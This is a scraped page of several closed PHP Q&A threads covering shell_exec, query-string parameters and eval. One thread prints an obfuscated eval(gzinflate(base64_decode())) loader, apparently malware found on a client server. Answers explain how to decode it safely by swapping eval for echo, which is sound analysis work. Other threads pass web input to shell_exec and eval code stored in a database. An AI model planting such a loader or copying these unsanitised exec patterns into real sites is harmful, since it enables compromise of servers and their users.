Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
I have a bash script which I want to take a parameter, it all works fine normally so that is not the issue.
What is I want is an HTML (or PHP if need be) which will take text entered into a text field and execute a bash script with it as a parameter.
I had my HTML working last night with some embedded PHP (I didn't attempt to pass argument at this stage):
<?php
exec("/scriptname.sh");
?>
This however would simply not execute the script (yes it is located at /). I had a simple "echo test > testfile" command which obviously did not run.
What is the easiest way to do what I need, and an example would also be great.
Thanks a lot for taking the time to read this.
have a look on shell_exec
$output = shell_exec('/scriptname.sh p1 p2 p3');
Documentation
http://www.php.net/shell_exec
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I'm trying to de-obfuscate this script found on a client system with no luck so far.
<?php function LwAC($SvniN)
{
$SvniN=gzinflate(base64_decode($SvniN));
for($i=0;$i<strlen($SvniN);$i++)
{
$SvniN[$i] = chr(ord($SvniN[$i])-1);
}
return $SvniN;
}eval(LwAC("NL3XrutckqX7AAXUOyQadZEFokHv0KcuRFISRS+SotFBo0Ereu8b/ewnVtepvMhEZu5/7SXDOSNGjPHFP/7x96987ZKl7Lt/TJ9g/fzz3zxRfMj//q//8r//8a//8p//5T9+V9nlTbRk/4yjOWOo/5VmSZ9m//Vn//1//Ou//CPvp3/+W/kf2P/4t/L/mZepybr/+r/hf0EQ+IH/+N//9QP/338r/+c//uMfSTH9s5/S///P/f2P//7f8f/7w/4P/OkpW9ap+8d//gp/f8P/ybao+ed//pb/jbVwskGsZ10mOspw/JflJTfCCb8ZXr/yIfxkjbz17+It/MTCDBLTnXayuGWdQlpor9RekOIj40+rH+VWgrKzNk675Nj192nfY/QlCIrlsrmVo/xGWShjoR8BRRcU4bVhRcuAaLt4oJGsG3g0u2kCQWdHtO3dRHeTton5MTpat/c5msWKhKndxa7dIOOMsvtVuzvTy75zkWaMJErk3+WcuHGk9RxDX+JPf2UVXZzBUSSPXFZ5bew0JU+SOktF1d2a9czZqx6Iz+7lmzu5N1R+1YtFsDFNI0gYFII1BgFLZ+K25+xsoZmoPtXtmffjqHKrkK5YlTxz84dkKKq9WzRrR3YY2WhiWY7+OJMwkgjBrvxQ4Cj2TbftuM2a323oRsQpclb0klrwT7ouhhQ1mwsY//ff7x+BonLjgaYRJe0pfBzPpkcdLyCPh80zMcoifdaF95GRaRbhUH4v6KSIXiYRhHHbsN+rXZmp5SVUlmwDzy9HkAMvvdff/B2kH1o/kehjrCOaWbF2qd1EVtFb2+fs66Cvjd+1ZSU4ZPQSCjtR4SFXvGt7CPN9lZlInF8DQVH61dmpwvPO80hU7Y4ggePh5BtdNIyOyLeDRhNT7lWSKXXkPZOUM0jx9q7Yi1XxqjD6J/IlSfgxKrOneYyd7kGvi0cjG8umKGcxxiJNjGKZx+SRTZpr5HTBH49z9O8/vg9CyawztvoAV8k1tZ7O0XbR96LHE91ygorwn52StKO98l9NY7zFU2vzy8cpZZF2vlftkrmkfAW7s4prjfMckiy21XYab2GJhGZci7oIx0cVj+xr20h4iYV8tjwD4yCo60u6cVwhsfvIO46p0Y/WkjGPwj9Gfhqe893FniWX+nonTn7QjRqZCb4+Qsrz/GhZFEIt99Jy2BxFV/KT0gdKHg29GFmebyJDdA2G"));?>
Please note that I have to remove plenty of the codes before this "));?>
A very big thank you to everyone who took their time to go through this question and put in advice/direction in attempt to deobfuscate this PHP code. Special thanks to #Hasta Dhana.
Now, taking into consideration the recommendation of #digijay to do this on a virtual machine where it can simply be deleted if anything goes wrong, the use of an online php compiler as recommended and used by #Hasta Dhana was an awesome choice. All I had to do was to paste in the whole code, change the eval to echo and run it. That, successfully had the work done and pretty fast except that the output was however obfuscated in the exact same way. This time the solution is as simple as deobfuscate the output repeating the same actions that get us here. Which is to copy the whole of the output and change the eval in it to echo then run it and hurray there we have the script deobfuscated.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I have php script, I can run this script with php.
But i want make this script without edit the SESSION AND TOKEN and CAN run on browser with link.
So here go:
My script coin.php
I must edit this script to make this code work.
$get->session = "MYSESSION";
$get->token = "MYTOKEN";
Nah my question is, Can I run this php script WITHOUT edit the php BUT I must edit with LINK
Example: > http://www.example.com/coin.php?session=MYSESSION&token=MYTOKEN
What code should be added on my sript? I want run this script with link
I hope you understand
Thank you so much
to access: http://www.example.com/coin.php?session=MYSESSION&token=MYTOKEN and use the query string values, your code should be:
$get->session = $_GET['session'];
$get->token = $_GET['token'];
see http://php.net/manual/en/reserved.variables.get.php for further information
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Suggest a method to take input as command-line-arguments from a single text-box in Web-Browser.
These numbers are then added using C code and Display the result again in the Web-Browser.
Suggest, How can I use PHP or HTML to link my C code?
I haven't done php for a long time now ...
If I understand you well I would do that :
Your html should send the request (http GET request) with the two numbers to your server (from your form).
The triggered php script should use the shell_exec command from php to execute a c program.
The program shall print the sum to the console (http://php.net/manual/en/function.shell-exec.php).
Then the result string would be sent back to the webbrower
I hope I'm right.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
can anyone help me to solve my query?
I want to execute php unlink command which is store in DB.
For example:
?php echo eval("?>".unlink('abc.txt')."<?") ?>
Please
?> is a closing PHP tag, and <? is a short open PHP tag, so at a minimum, you have those backwards.
In your code, you don't need these PHP tags at all. They are meant for the parser, not for eval(), which is already in PHP mode.
The best thing to do is not store this sort of thing in your database. I can't think of a single reason why you would put PHP code in your database values. You should instead have that file name, and then run a for loop over the results to unlink.
Basically, your entire solution is broken. You can start by removing those backwards PHP tags and it will work... but is that really what you want? Probably not.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
The problem is that I must catch situation when some variable (and I don't know it's name, that is I don't know where this value first arises) matches some record in database. The way I think it could be done is to run after each statement an external code against array of local and remote variables. In that external code would be a simple foreach loop and db query, the script would then output line number where given situation happened.
Is this possible with xdebug ?
There is a function for that, http://php.net/manual/en/function.register-tick-function.php more documentation on ticks is http://www.php.net/manual/en/control-structures.declare.php here.